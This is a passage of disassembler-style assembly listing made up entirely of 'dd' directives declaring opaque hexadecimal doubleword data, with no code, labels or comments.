		dd 504BAF9Ch, 0DCCEA600h, 2627E683h, 40C430h, 527E1D57h
		dd 0D09814E1h, 602B6235h, 0F00828CCh, 7940B02Fh, 53F625F3h
		dd 0B8AB5024h, 0BC273C14h, 1C511826h, 48E6EE10h, 47D6B025h
		dd 5B58FD6Ch, 6F14A898h, 4C003D4Ah, 0CAC2A99h, 613F00F2h
		dd 0A1F4F337h, 0D0B8FFC4h, 0AB0D5603h, 2CB7BAFDh, 0C38A740h
		dd 0E5C8A984h, 9394D11Eh, 0AF0D00FFh, 9658360Fh, 0BEC536FDh
		dd 0EEFC8130h, 58570226h, 0BC114F67h, 2028C9A0h, 129B81C4h
		dd 78A04084h, 0D0D85266h, 4D9B0602h, 0E4A32867h, 4140CE52h
		dd 5309CAF4h, 80444B36h, 0FB945D7Ch, 0E6FDFC39h, 157930D0h
		dd 0E73D5580h, 8FD7773Ch, 0B25EF4Eh, 1C600168h,	0DAD188F4h
		dd 3A461424h, 17A41261h, 0C6F20844h, 3800E313h,	849CD51Eh
		dd 1F3F26D0h, 5DC880D4h, 0FD7C22AAh, 1DEED01h, 0BCB1D0ABh
		dd 83CC388Eh, 24F83096h, 150017F2h, 7E8D0AE2h, 0FF39547h
		dd 5A6B1862h, 6C0007A9h, 0CE2D778h, 5407754Ah, 48BC936Fh
		dd 10A76B9h, 139C3138h,	0C1147AFFh, 0E5FC704Ah,	4D426094h
		dd 0D41C486Eh, 0DFB305FDh, 0D0F6EE3Ch, 11FCF12Ch, 5038652Ch
		dd 1223DA60h, 0A45616D4h, 809474E1h, 493B3C54h,	4D9F480h
		dd 2FFDACFCh, 0F94093A9h, 3804F14Ah, 98C781B5h,	64179302h
		dd 654CD4h, 3838C28Eh, 710F1B75h, 0AA4D5CCAh, 0B8939445h
		dd 6880801Ah, 584CAAF4h, 7B00BDE8h, 0B4373953h,	0D95C08B5h
		dd 0A0962664h, 40BF023Ch, 609EE9B2h, 2C9CE05Ch,	60B03887h
		dd 4DB3A796h, 2006D526h, 9253FE86h, 0AB453B88h,	71241278h
		dd 8B602414h, 26F0DD0h,	0C03FE890h, 286CB8F4h, 9ECA08C4h
		dd 9CE2FC80h, 51D0A281h, 0B7AC00ECh, 772639A4h,	0FE174B06h
		dd 5450E9E1h, 289854h, 3D1864EEh, 4A699B0Eh, 0E74ED890h
		dd 4615C806h, 6F0A0C80h, 0CA58856Dh, 1E0D253Ch,	9C264FF6h
		dd 0E8084049h, 9AF01378h, 6FF89050h, 0FC9066D1h, 62B2241Eh
		dd 3846B30Ch, 0B5CE0064h, 0FDC3FE36h, 98CFFA19h, 0A6D7C41Eh
		dd 67258C0h, 0CD3B0108h, 895961B4h, 94D880C4h, 687A2FF9h
		dd 51770405h, 0F084F40Eh, 0A800829Ch, 0C56EDDA0h, 50D9FE5Bh
		dd 279AC73h, 5807C5Ch, 0F4EB944Eh, 6FD8FEE3h, 0A12666D5h
		dd 7A085CF8h, 0E10400BCh, 717B1229h, 0BDBE5716h, 0A3380807h
		dd 840056BFh, 972D9B5Fh, 67352E4Dh, 0CFE86A4h, 0C8F64016h
		dd 29E0F758h, 3C09C858h, 0D8D4C331h, 9CF94DA8h,	16803DACh
		dd 9983CA27h, 6550A4D0h, 3C75DE98h, 5330226Eh, 0EFD0585Ch
		dd 0C0847D09h, 7B11B098h, 9C96EE7Ch, 9A39842h, 0A4CB1C05h
		dd 777BE6B8h, 0D5CBDA0h, 98E5D42Ch, 0F84D1130h,	1FF89AB5h
		dd 71EAD6DEh, 20A496B9h, 0F6A8A60h, 0D502EC11h,	9CF43Ch
		dd 444E0632h, 17FCD349h, 0DC02CEFEh, 802C0B53h,	912AD898h
		dd 3EF0FB2Fh, 18B41710h, 284004Ch, 0FBF09A1Bh, 0D7E5AB03h
		dd 0B03D8426h, 1827D565h, 18EBB05Ch, 2C0E1F6Ah,	52BB4DAFh
		dd 4842B0DDh, 6B9C8273h, 4D4CE048h, 294C692Fh, 54043058h
		dd 3127AF68h, 0F3C00CA2h, 0DA8C17Bh, 0B20E5778h, 0D8A73CDCh
		dd 12AF0360h, 0A5F8952Fh, 68A04690h, 5DBB6F12h,	0A0A29C94h
		dd 0B2A0410h, 72D0E208h, 16DE7640h, 30BAA756h, 213747D8h
		dd 94B39507h, 52F360F6h, 0D02ED31Dh, 0F820EE17h, 0E07300FEh
		dd 0CD0649C2h, 0AC946672h, 6E78474Eh, 8C84BBD7h, 4F16E090h
		dd 0D73D104Eh, 12E001DEh, 359FBB11h, 0E90F8066h, 4C3E763h
		dd 0B6CA4E1Fh, 0C5F198A0h, 40008FF7h, 49B9660Bh, 176264F5h
		dd 307E8FEh, 185678A0h,	92D06DC1h, 780549E8h, 0B8B1C3FDh
		dd 59864DC0h, 51266CC2h, 67C94008h, 6232E223h, 80062829h
		dd 0AD129A90h, 7D220038h, 662D6445h, 2005B03h, 29E85937h
		dd 2A3C8A06h, 0B868C54Bh, 5942061Ch, 507FFCFEh,	2F66B713h
		dd 31E94460h, 0B424485Ch, 0C0BC7D39h, 69218052h, 801D4917h
		dd 0CC220CA4h, 0E5AE6E09h, 9884E478h, 9AD9E60Ch, 0B04D3F7Ch
		dd 0F293E060h, 43500C2Fh, 321D5CA1h, 13852417h,	0C4C0EDF5h
		dd 494E0703h, 0A005C11h, 10E0B48Eh, 0B518F186h,	6D91DFCDh
		dd 0CDE0D34Ah, 60502008h, 0B60F9E6h, 0ECD26E10h, 5004011Bh
		dd 0D55C6CE6h, 436C3092h, 64612241h, 12F7E474h,	40D4754Dh
		dd 0E1CE85CCh, 0C20F7CD0h, 0AC95BFA3h, 80EC78AAh, 59126C66h
		dd 4536A19h, 92F25C00h,	984D3703h, 0DB690E57h, 25CA8E14h
		dd 0F73C0608h, 7101B9DDh, 56655E83h, 4E4D6E5h, 78543923h
		dd 8BBB7D80h, 0FDAD4175h, 0B89FA527h, 0E64DECh,	0A0E91A68h
		dd 0B4BE56D1h, 0EECE18C0h, 7CFC57h, 94EDD2A6h, 3306B3F7h
		dd 1E24D0ECh, 651FFC69h, 0AA62C0A4h, 82EC0894h,	0A1C66F14h
		dd 3CE7C440h, 38C7055Ah, 46E4827Bh, 0A144049h, 0FC9887h
		dd 72751430h, 0ABAFF891h, 0CDFBD404h, 6890D04Dh, 9062853Ch
		dd 30A0E1Ch, 7CAAB96Eh,	8E540D8h, 57206F0Ch, 4C233C7Fh
		dd 2ACB4201h, 7010C3F4h, 0F8405400h, 9C4D003Dh,	0B0FA5A6Ah
		dd 874EA1FDh, 54F08C40h, 5E3D626Bh, 341C00CEh, 6DF4D98h
		dd 3DA59480h, 7409F917h, 0C60BF6Fh, 0FD2DAFFBh,	17680114h
		dd 0B02C9F2Dh, 0CB6F2C10h, 7AAB096Eh, 4E0809A0h, 0C864EBE6h
		dd 0B7B33E01h, 9D14D368h, 1E5C19C0h, 0B85B76h, 0C4ADB4EDh
		dd 4E3A0A09h, 2B386003h, 0CC30213h, 7AE0FE64h, 48000158h
		dd 0EB34606Fh, 0CAFF94h, 7D5940C2h, 26D03D5Bh, 8A0830B9h
		dd 3B6D0184h, 2DEE8CFFh, 0FA94C584h, 0FD0CA8A6h, 1F100CFBh
		dd 7C44DB5Ah, 0E4A6B09Eh, 3EB0DC24h, 0A0F84034h, 3D61E5FCh
		dd 9C14C258h, 66DBC8C3h, 87E42E1Dh, 0A2C30BE8h,	54195CE4h
		dd 0A910C613h, 81610020h, 0F4D420E1h, 255A8C1Fh, 2CA75C00h
		dd 781E1464h, 0E86149C4h, 18A00327h, 6511FE71h,	0F0775B17h
		dd 2A0E9005h, 89F144E5h, 287CF828h, 4AE8FB77h, 370430DDh
		dd 7C019156h, 0A7147A9Eh, 8402E38h, 0DDAA28h, 0B71B350Eh
		dd 34EF3D56h, 1027CC91h, 86095BCCh, 18E77881h, 0DC465C6Fh
		dd 6104A4Bh, 88C2614h, 0AB00A55Fh, 29DE03D3h, 0DC5A4C7Dh
		dd 0B711D030h, 0FE142C2Ah, 8FE49C1Ch, 0B550605Ch, 30389B7Ch
		dd 63115BF2h, 0A200BC2Dh, 62AB5124h, 4EEECC4h, 5F4BD9F9h
		dd 0CA0080CCh, 1D0029BFh, 40E6FC06h, 0BEF21Eh, 153BB60Dh
		dd 7007D0A3h, 5DDEB0DFh, 1E04A265h, 547D0194h, 0E7E09E9Bh
		dd 7CC9F853h, 0AB5C30h,	0BF30D49Eh, 0FE60FB4Dh,	144832FEh
		dd 3C060234h, 0D3E510D9h, 8900AC28h, 40E099DAh,	7839E735h
		dd 0A8D0AEF5h, 603F6A0Bh, 8ADE5E80h, 849C4480h,	1D5491EFh
		dd 0C1017C24h, 0FC0F204Eh, 0E3EDA5B0h, 606F5448h, 0D2DB311Eh
		dd 8000F08Ah, 0D98DE587h, 6D390h, 0EA594366h, 6DE62832h
		dd 0AA217B00h, 0FDB1FBFCh
		dd 40B04F13h, 88061B04h, 0CD243C89h, 7D8110F2h,	274DA868h
		dd 80673BC8h, 37002825h, 0DD7077FFh, 7A8A1D3Dh,	0CEF8964Ah
		dd 0EF69E140h, 0E6021CA4h, 6B0D0973h, 7AE0E1B2h, 650BADCh
		dd 3D716FBEh, 0A4C117Ch, 422C784Ch, 0F75078E2h,	325B0ADCh
		dd 0E8785Ch, 0D0829CDAh, 20C98351h, 8CAC08DDh, 1F6F1082h
		dd 0AA5002Ah, 4A000497h, 558F4F85h, 0FC5CFE7Dh,	5CDDF643h
		dd 4F7014F2h, 0EB04891h, 0E36C6180h, 30FE1710h,	0CB2015A3h
		dd 8B00EB58h, 9BD8C1B0h, 9141D43h, 0E16E1FA6h, 0AF12D065h
		dd 0C6F6B805h, 3C1774E2h, 31A4E162h, 0D700028h,	60990511h
		dd 1E164208h, 0E4F84036h, 8E7C2277h, 8AD026h, 260904B9h
		dd 0E4D04CA6h, 89DB0A4Eh, 22F08282h, 0E0C9A262h, 0EF7B29DCh
		dd 0BA7177EDh, 9008C28h, 0BE85AADEh, 0EA026CA5h, 45D08B0Ah
		dd 2C3079EBh, 355109D8h, 4B6C5808h, 5408E4C0h, 0C8DC7103h
		dd 1343D16Fh, 23D0DAC8h, 0C5C866B0h, 1CA2A394h,	4E85A445h
		dd 30653C9Ah, 3149CC00h, 7644EAFAh, 45C84E16h, 0C8609E40h
		dd 0FC5BB764h, 0A84E5004h, 100804E1h, 0FDF5246Fh, 0DFA680C4h
		dd 0FE2A10C2h, 6B4EF59h, 0B3B54E1Eh, 8A9B0938h,	1CE0ADD0h
		dd 82001798h, 0DE625CB7h, 60CE56D4h, 6DCB2868h,	0B900C506h
		dd 0FBA5EB41h, 0A04C777Ah, 3EF187ACh, 0E180B8C2h, 5DC5B748h
		dd 0BF0261F7h, 1033313Dh, 29806030h, 3C2E8997h,	0B3A68408h
		dd 6F17B8A8h, 77BC8184h, 2EA43980h, 0E7532813h,	20F492DFh
		dd 40898A6h, 0AEEF9D84h, 4F64B233h, 7D14E403h, 44C3A520h
		dd 0DB0CACDDh, 0A341A990h, 0A028D431h, 2241DC5h, 566B7C50h
		dd 2495A45Ah, 0C09361E4h, 8C381ED2h, 0B800FC7Bh, 4F1630FFh
		dd 0A5509545h, 4D3F3128h, 394C818h, 0C0125984h,	7851491Fh
		dd 0CE8B6400h, 0C5504DDFh, 0C10CB649h, 1425CC5Ch, 60D6742Ch
		dd 0ED2EE04h, 42B74404h, 0C2BF093Dh, 0FC83B800h, 70005184h
		dd 0CA5A40E7h, 0CD9B9D4Eh, 3340FC90h, 0B1F28000h, 0AF0523h
		dd 371B32E2h, 7C047A52h, 0E6611200h, 21807864h,	0A0D0BCCh
		dd 3861F3FFh, 5F84333Fh, 343A8B0h, 0E5A54B35h, 0DFC0415Fh
		dd 58018BCEh, 5A668202h, 1FC81B10h, 99E0B8DEh, 1418A7ECh
		dd 0D0C316D0h, 0C3F069E8h, 2528DE27h, 0A869C3F4h, 689859DEh
		dd 37260228h, 0C01D4FF5h, 0BCE13C00h, 0B3E61200h, 113A26E8h
		dd 0C203D029h, 41CA3Ch,	8269D429h, 0D265AC7Ah, 4CFD2C0Fh
		dd 216C8033h, 0C0F3294Ah, 0F79A4918h, 7107E5CAh, 58C3ED36h
		dd 69E70661h, 48770841h, 15106822h, 0CD6C13Eh, 212F284Dh
		dd 706CAD60h, 37020BA8h, 0B9BBB84Bh, 2E9852C6h,	0E1E8289Eh
		dd 68F86F16h, 0EC4D0D88h, 0FEDC18FAh, 0ECF1546Bh, 302D7839h
		dd 0F279A08Bh, 0ED6BDA3Ch, 1F101141h, 8F1A6F10h, 34382895h
		dd 23CC962Dh, 1AD17F2h,	7AFFCD1Ch, 2320202Bh, 36064F90h
		dd 0B72E6418h, 206F1841h, 0D60C68C2h, 3F080200h, 4D81BD48h
		dd 40F36B63h, 0EDDD8801h, 31A7DC35h, 93A02C50h,	0EB9D8E02h
		dd 0C09E48A4h, 5D867Dh,	0A194DC73h, 79FEDE56h, 314CAF1Dh
		dd 0B1F8224Ch, 0AD200F3h, 0F47CE52Dh, 0D3612B38h, 11C23C11h
		dd 76B63420h, 98141668h, 89B00459h, 266200C0h, 9AEA174h
		dd 603D4CB7h, 6A7D2840h, 984F1740h, 0B87C6734h,	8B49871Bh
		dd 122008CEh, 213C14D8h, 0BE6EF46Bh, 88655DA5h,	0C0B44940h
		dd 0D885DE16h, 55C13C87h, 0F6C4BB97h, 9C9095C4h, 0CF00E1CDh
		dd 84BE1527h, 18B14E6h,	7F73241Eh, 0E8628699h, 600FDD65h
		dd 7C4D52C5h, 0FC9648E0h, 348F4048h, 0DBB78040h, 19D8C3Ch
		dd 0D5040B2Ch, 0A10268E0h, 902D628Ch, 313E0712h, 9FE869D0h
		dd 6B53DD18h, 3C0978B7h, 0E02204B3h, 0B85CF06Ah, 10791142h
		dd 0F04B2E5h, 70DCD08h,	74D47CA8h, 803D7F3Fh, 0E3747D80h
		dd 3CDC78DDh, 1684B254h, 1B192301h, 6FA2D0FCh, 420F8038h
		dd 1A603D5Ch, 155963DEh, 0C89644Bh, 0CC952429h,	0E77E287Fh
		dd 91557AC0h, 67FE84B0h, 802095B8h, 0BBF66F38h,	9312947Ch
		dd 4C007DC5h, 9EDE265Fh, 951405E7h, 0E19B5CD0h,	959C39C4h
		dd 0ECB492A8h, 0F54409Ch, 0C9005090h, 7C830A97h, 720D56EEh
		dd 4A0300DBh, 0F0187D6Bh, 0BB26FE61h, 0C380B8C8h, 4E16534Fh
		dd 58786010h, 4D55F684h, 78A4F2EDh, 286F60C4h, 0F190C95Ah
		dd 6180E010h, 10594CA2h, 0AD894E06h, 0FDFF0C18h, 640AFC9h
		dd 0C66494F8h, 38B83118h, 65C2FEF0h, 0C0C06090h, 738D27A7h
		dd 32D0E07Dh, 0E8780C77h, 0C84D4C90h, 39008499h, 0BBCBD8F4h
		dd 0CAC12D15h, 6300440Fh, 3E8D6FC9h, 0B4B57680h, 933C0454h
		dd 7D34800Bh, 0C891EB4Dh, 4302E94h, 83D5BB7h, 220B94ECh
		dd 94A1586Fh, 7CBE47CCh, 0E9CD857Ch, 303C8CE0h,	15580A29h
		dd 149336Fh, 0FAB1E58h,	56A08F15h, 8BE60018h, 0FBFA5C2Dh
		dd 7FD200DBh, 0FE5A9FF9h, 2492E8EBh, 7DB10100h,	0FC84F812h
		dd 12A8B45Ch, 2DFC074Fh, 521BD075h, 3D1A697Dh, 54800EF0h
		dd 189C3F90h, 0A795484Fh, 46E00742h, 9FDE072Ch,	2A07CE7h
		dd 0FCC1F06Bh, 2CC206Dh, 0C05B3CFCh, 89BD7C00h,	951FD764h
		dd 58BE54A2h, 194A7801h, 5B0F460h, 797F44AFh, 0F2A0C207h
		dd 23C0035Fh, 0EA98C0DBh, 77F30094h, 0D140BC8h,	0CA6ADA4Eh
		dd 0E7432088h, 5989C76Ch, 0A0BD4728h, 1EFF3D18h, 1F00C4BEh
		dd 1DAC2AE0h, 12AEE681h, 0A45E9F6Fh, 3600E1F0h,	0D3E51231h
		dd 8B0920h, 0F9D452B5h,	0CAD964CDh, 20241CBBh, 1924E86h
		dd 0A2141F10h, 5048651Fh, 1E26C63Ch, 3E60A4E5h,	9C4982F8h
		dd 0F80FCB6Ch, 4F2CC057h, 0A14C9551h, 1852DC1Ch, 10AB740Dh
		dd 0B811B404h, 70C00A8h, 0DBFE2CE1h, 4CAB97F1h,	3CA32C91h
		dd 0E0D1A5D4h, 6428763Ch, 68E8EE8Bh, 0A1129CDCh, 408495D0h
		dd 0B84DF020h, 958C026h, 7FE37A0h, 0FDD0E607h, 6043947Ah
		dd 3B511780h, 3F88AE7h,	1569B9C9h, 54AEA8DBh, 0BE580133h
		dd 8E0AC266h, 2878FAD0h, 0FF3C4D12h, 304E4488h,	0A7D1F903h
		dd 1FFC3E08h, 3E28D63Ch, 40914B9Fh, 80125273h, 1C884442h
		dd 426F61A4h, 5C5C2F97h, 51E86B80h, 26611B7h, 0B50977D9h
		dd 0C530D13h, 222F2D09h, 566ED178h, 10AA6094h, 0B10138D0h
		dd 0DCF44EB8h, 0FC6C5A56h, 77332209h, 7098145Ah, 0C4A11F25h
		dd 0AB61267Ch, 30FE6118h, 8E033E6h, 7144A4Dh, 1378A41h
		dd 0F8D3986Eh, 38F035B8h, 6A029F7Eh, 4A859BB4h,	1C00E5F0h
		dd 506E2781h, 0EC4B3141h, 0F08A6F1Fh, 0D6096E38h, 22000F75h
		dd 5714D3E6h, 18B9F60Bh, 30C1A03Ch, 7D019AACh, 0FB377FD7h
		dd 0D1E01627h, 219B0794h, 0F04DAA0Ah, 0D6F4635Fh, 0D0E4F4A0h
		dd 0BDCFFE1Fh, 0BE015905h, 18174E4h, 0B7B818B5h, 40FF9557h
		dd 0CBD45B08h, 0FBEDA528h, 0F16EE712h, 67141000h, 0F354889h
		dd 65A618A4h, 69E571C0h, 97701D95h, 0E8F1D6ECh,	10CB1E79h
		dd 0B634C0DCh, 6F4038EFh, 10C087A7h, 0D0128D83h, 38096E19h
		dd 0B12C70DCh, 90C0138Ch, 0D4DE6188h, 74336E5Eh, 3880ED18h
		dd 17A53C01h, 1CE8BBBCh, 0DAE2010Ch, 3410E6FDh,	249125C0h
		dd 78D16413h, 0CD3CAE0h, 59FF4D71h, 4074C820h, 9E3D570Bh
		dd 81D42F51h, 0CC17BC5Ch, 0BD417989h, 9F5D1821h, 4A743748h
		dd 6C20FC29h, 9BCC8030h, 4CCD4C4Bh, 4414A048h, 6F180BEFh
		dd 9431643Dh, 9709B09h,	0AC71D249h, 0DE410824h,	1D3F0F32h
		dd 6580B004h, 0B4132D2Fh
		dd 4400BAE6h, 0E9F34535h, 49FE275Bh, 4D02840Fh,	2C72F4A8h
		dd 21E0BD03h, 0C2E2B758h, 550882A2h, 2D5C64DAh,	3440BE3Ch
		dd 0E6788765h, 9800364Ah, 4B8930AAh, 56AF180Dh,	3D540831h
		dd 0E44AF3F6h, 98000824h, 7DDE2AC3h, 0D89460DFh, 0C0444CB2h
		dd 0BB554D17h, 16C83426h, 0F2381E3Ch, 16257820h, 574C695Ch
		dd 0EAEC0F6Bh, 0A3F9C584h, 0B34A0094h, 0D0E8348Fh, 0F69400EEh
		dd 52790D86h, 267C5AB7h, 3CE57409h, 84D033h, 0E1F19E66h
		dd 18C4D648h, 26FC7101h, 0C6B47CBFh, 4EEFD024h,	0EE98CCC3h
		dd 0B80197Ch, 45BF0F0Ah, 536523F4h, 20288C5Fh, 0E26C9C01h
		dd 10EF4D3Eh, 68A4403Bh, 3C9B5F37h, 65B9FF8h, 446C4089h
		dd 28A06428h, 0EB81F27h, 0DF6D5B09h, 55C3032h, 7D4DFDACh
		dd 0F6171338h, 2E43449h, 5EE15CA0h, 0C431E98Ch,	8F7EC4Dh
		dd 7D236F17h, 0DD41D058h, 1E110063h, 0CCD7C5DFh, 0FD0BED93h
		dd 20147085h, 9759016Ch, 1EE0B011h, 5D937E5h, 1DB9AF6Fh
		dd 886490h, 82E8D0ABh, 280CDFF0h, 4077D3FEh, 2F433CAFh
		dd 0B7117F30h, 5F3C80F4h, 0B1A8252h, 985ACAEEh,	95F86FA0h
		dd 8C52600Fh, 80600F38h, 1C9CEEC8h, 77CA267Eh, 4B6260B0h
		dd 751CCCC8h, 5485E6B3h, 64C676D1h, 5080F39Eh, 8D6AB53Ah
		dd 3D0FAC4Dh, 8EA2E4B7h, 61AE8037h, 589E0F9Ah, 0D1C0D4B8h
		dd 0EEB66BB1h, 0B70B3E18h, 248DE8C8h, 2CE89AF0h, 33F60D34h
		dd 0FC2431A0h, 960424D4h, 0D6FDA76Dh, 2E779CF0h, 0C53C1257h
		dd 0D882864Dh, 0CF4C70B0h, 0A4E50BBCh, 6F2581FDh, 28846344h
		dd 0F0D13CC2h, 4F0B0CF8h, 60A93D42h, 488CBEBCh,	0EC05E4DDh
		dd 0AD7C4AD8h, 0C7C8130Ch, 3D44585Eh, 0F0E35AD6h, 96216F82h
		dd 6136458h, 0ACACB705h, 0C4775170h, 90D8AC14h,	745620CCh
		dd 40883C13h, 307810E2h, 38A8089Fh, 0D70C64DDh,	38CC5410h
		dd 0C9B0B8AEh, 0EC962929h, 20E0D527h, 0EB082CE0h, 0A3943C87h
		dd 0E653E61Fh, 429600E8h, 0EE140C40h, 84D3828h,	0D0A63202h
		dd 70293CEBh, 0E2F881B8h, 22A834h, 0B17B78D9h, 0D5B382D4h
		dd 0EC4EBB00h, 0B0FE361Dh, 4718B1BEh, 0EB02C263h, 32508F1h
		dd 88A88458h, 580D3D2Eh, 6503F0D3h, 153CA4FEh, 857E1113h
		dd 0E81B1C22h, 4EB205E0h, 0E648C30Fh, 94C9BBE8h, 810DAD38h
		dd 2610FAD9h, 0D7F55911h, 60CD884Ch, 44826009h,	8791427h
		dd 8D682F00h, 0A3FE25B4h, 88D4968Fh, 9400E699h,	0A5B980A6h
		dd 18492CAFh, 0AA2842A4h, 3960A854h, 20116853h,	880FF7Ch
		dd 9A257D30h, 0FDAC90B1h, 0A7B940C8h, 60B750CBh, 679DFEC8h
		dd 74A81850h, 8438BC32h, 0A132BAEEh, 182F8CA0h,	5C05931Eh
		dd 64E763EEh, 5E8300B8h, 97FF5765h, 38A3563Ch, 0D0AFBE26h
		dd 0F04D9D82h, 41207476h, 8FED574Eh, 0E27D2A10h, 0F17798A5h
		dd 8D0A80A4h, 7E952B38h, 9C80A200h, 1E4D56EEh, 0F47C80E4h
		dd 0DB655503h, 0E833C98Ah, 1DE08DE6h, 0D74B103Bh, 7B8881C4h
		dd 73F0C0FDh, 18749EF0h, 596F170Fh, 90F2126Eh, 922CA826h
		dd 0CD80C0CAh, 58A8B99Ah, 7C16AE6Eh, 0C0C8CB07h, 20204A16h
		dd 0B70EABD0h, 9832062Ch, 204E484Ch, 0BB12C2DBh, 0A8A23B60h
		dd 0C0E95B78h, 6F5FFE48h, 4E06C09Ch, 24304FF4h,	190970Ah
		dd 0C96C5385h, 8B15E53Ch, 51147D30h, 71DD8154h,	24DFB16Dh
		dd 0E4040E0h, 0AAEE0412h, 0C2A22E84h, 20F41C70h, 2CAF0A00h
		dd 0B1AB62h, 771D841Eh,	6F231B4Ah, 280CF59h, 0C7FF94CAh
		dd 0A2E8C1CBh, 0B11C082Ah, 0F4F4A5h, 0CA140538h, 0CC1FEDA4h
		dd 8125E9FBh, 0B6996F54h, 90E1B830h, 12C1874h, 2190E112h
		dd 175DCE80h, 0B15F55A2h, 29142010h, 0B227E601h, 0A4C9135Ch
		dd 1A9AAC70h, 0F112717Ch, 7232B878h, 0C15F8918h, 0F8429AE8h
		dd 940A87h, 0B9C70C4Ch,	209D426Fh, 0A65BD540h, 4C3877C2h
		dd 9B3FB885h, 0B0F30F81h, 664952EEh, 0BADA00FCh, 0AAB5EADCh
		dd 0FBB203FDh, 0A2D06511h, 0B894D94Fh, 592C2C82h, 92C2444h
		dd 4E411F9h, 0FE50A896h, 13EC9AABh, 283EB7Ch, 520ADA7Dh
		dd 8294B0E0h, 0D3F78D17h, 754EECE0h, 153307F1h,	0D0C04AF2h
		dd 53476F12h, 0B98B0C9h, 0C30957D8h, 1840CC2Bh,	24EDCC4Dh
		dd 38009424h, 5AAD80F2h, 1E659ABh, 0F99C906Ch, 30450D34h
		dd 90BAAAB4h, 35DCA03h,	0A2510A20h, 4C805D37h, 303CC088h
		dd 0C0273A4Bh, 5C1A6C83h, 0A16CCE9h, 3F70F56Fh,	7D026430h
		dd 0F14CB809h, 0E1C2B42Dh, 54E077D0h, 6305E634h, 57DC197Fh
		dd 0C22E808h, 0DAC0A314h, 0BC505902h, 56C0723Ch, 60DE0C0h
		dd 0B095A2D9h, 0A0935470h, 814E51B8h, 20287B1Eh, 0CA684543h
		dd 0DC3CE460h, 0D10A860h, 7E872E37h, 81540F7Ah,	69DF523h
		dd 40DEECFEh, 254E0739h, 2C185142h, 241E92E0h, 0DDC08010h
		dd 3A5B56D8h, 2E980Bh, 323CE574h, 3A0A10Fh, 7C2C2478h
		dd 9D742952h, 2B450015h, 910AA1ACh, 4B370216h, 278A7A00h
		dd 0EEDF394h, 7742E6B1h, 0D6F411C0h, 5E073B2Eh,	52182B37h
		dd 0B4809565h, 503D6556h, 95CA7462h, 64F0E842h,	98802C5Ah
		dd 344E0216h, 0A428490Ch, 0FE27321Ch, 0C6CC405Bh, 6BD41C3Ah
		dd 891392A3h, 5E6A58h, 5961048h, 0D120B8CCh, 10569030h
		dd 1A28DCD4h, 0E8C199FEh, 76670840h, 397A83h, 79B2863Ah
		dd 9438FE47h, 78343A95h, 194A07FCh, 0D011487Bh,	0BFF6D3E6h
		dd 65E36D00h, 5DCB7541h, 0DCF4074Dh, 65C0096Eh,	7342C061h
		dd 0AE167C55h, 0DB0065F8h, 66518D27h, 96C5026Fh, 206BB1A5h
		dd 81485C46h, 6FC81F58h, 0FC00B452h, 3762AE2Eh,	5A3F2FEh
		dd 9384C424h, 7220F74Ah, 0B308DA0Bh, 0EE4D80EDh, 0FABDE2C2h
		dd 0E43C24C7h, 2414A79Ch, 0E257313Dh, 722F1120h, 76FE1308h
		dd 0A650F4C3h, 4AF86041h, 5A3BFC16h, 39000AFh, 0F93CA906h
		dd 2E0D750h, 30EE453Ch,	7D0B1181h, 403D7966h, 8A2663D4h
		dd 0AF010913h, 0C699815Ch, 549721D1h, 17B888DEh, 0E29C1D48h
		dd 28C03262h, 1490F4DAh, 803E0838h, 94BA54B9h, 90B49A5h
		dd 8F6F0684h, 3F6EA0A3h, 356401C8h, 0A833FE10h,	3D45413h
		dd 0F82B36DCh, 43916DF3h, 7E77F142h, 840E1048h,	0A93B8A3Ch
		dd 0EB407BACh, 0EA437424h, 6390905Fh, 365C404Ch, 60E0D4B3h
		dd 8894F06Bh, 2870E580h, 5473426h, 33FDA9FAh, 89C8BC27h
		dd 3E2C540Ch, 26AF1F10h, 802FC71Dh, 0B3BA2578h,	123ECDAh
		dd 6218F4B7h, 0F15B5004h, 0BBF6F033h, 0B4D5C17h, 2D0F745Dh
		dd 0FEC740D3h, 4FCD7Ch,	76274EB3h, 721ADC77h, 0CEF0027Ch
		dd 194C6730h, 0E53BFB28h, 0D3308107h, 2C29813Eh, 0D66B7A65h
		dd 0F5BD8E4h, 0CC09D1CBh, 57F42780h, 863FF8C3h,	11498F34h
		dd 0C6A7637Dh, 2480078h, 0FAEA5C7Bh, 0D5303E98h, 75D460FCh
		dd 0F6FB1470h, 0F3381412h, 0F4AA929Bh, 1D6D17A0h, 945E18C3h
		dd 59409872h, 3EC0EF6Bh, 68226507h, 7F580941h, 0E6B0AC00h
		dd 630C2629h, 11C2B780h, 5AA206A0h, 0F9735BFBh,	7AC6A61Bh
		dd 94E0E779h, 1821A097h, 192A9C4Fh, 4B1FA67Fh, 9A415677h
		dd 0C6D4D35Ah, 4E9EA840h, 0BF100A4h, 1BB87D92h,	5761A7CEh
		dd 0D5EA1738h, 0D2374080h, 0D1AD0BF7h, 0D3F27404h, 0A000DE1Eh
		dd 1BF15A92h, 0AF850784h, 0F02DA705h, 18332BF5h, 0A0A817E4h
		dd 7905E052h, 0CD4EFB90h, 0C0D17800h, 15CC58C8h, 0ACFA0F3Eh
		dd 1DD6BF0Eh, 0D1D33881h, 1870BDCBh, 4F208D66h,	40EC6521h
		dd 0F0D037CAh, 0AA7D2FDFh
		dd 43FA9215h, 0FBF101B8h, 0E4C41791h, 2B329450h, 27D10009h
		dd 0F25F10EFh, 9F01FAABh, 460E8FB7h, 1180AC65h,	0F039F873h
		dd 0FD3017E0h, 3BFC4019h, 42181881h, 7933510Dh,	3C4FC8A8h
		dd 724D53Eh, 4AA8D458h,	0B000F3F5h, 0A6BFA12Dh,	9E911D8Fh
		dd 57934260h, 0D4A05250h, 0B2036A7Fh, 0F641F801h, 231C1863h
		dd 4565608Fh, 0ED20BB6Eh, 78D3AA17h, 0F288EF50h, 0DC636401h
		dd 656B4FC4h, 80A75003h, 0BED30A77h, 0C3289962h, 688B60A6h
		dd 124BF053h, 16A03Eh, 4228903Ch, 5A12C29Ch, 30099E40h
		dd 494C0648h, 6AEF24D0h, 0A76D0878h, 8001ED12h,	0C90A5F9Ch
		dd 11180880h, 0AC0275FDh, 0BD4F8828h, 0A32F88C0h, 3997BD0Ch
		dd 0CD00A657h, 17A13026h, 0D8C11B0Eh, 96DA4F2Bh, 9C23C3C1h
		dd 0A6D77704h, 17888833h, 20FA0C30h, 52F7D148h,	0FB12F8BCh
		dd 89842369h, 0C0F6A830h, 40FD0ED3h, 76484EFEh,	17E205D0h
		dd 1C63C6CFh, 3EE151F5h, 0C1E51080h, 8DCFD2D7h,	0E20029B8h
		dd 7AB9CAC5h, 40CB31h, 0AB590DF8h, 48FB4533h, 9939700h
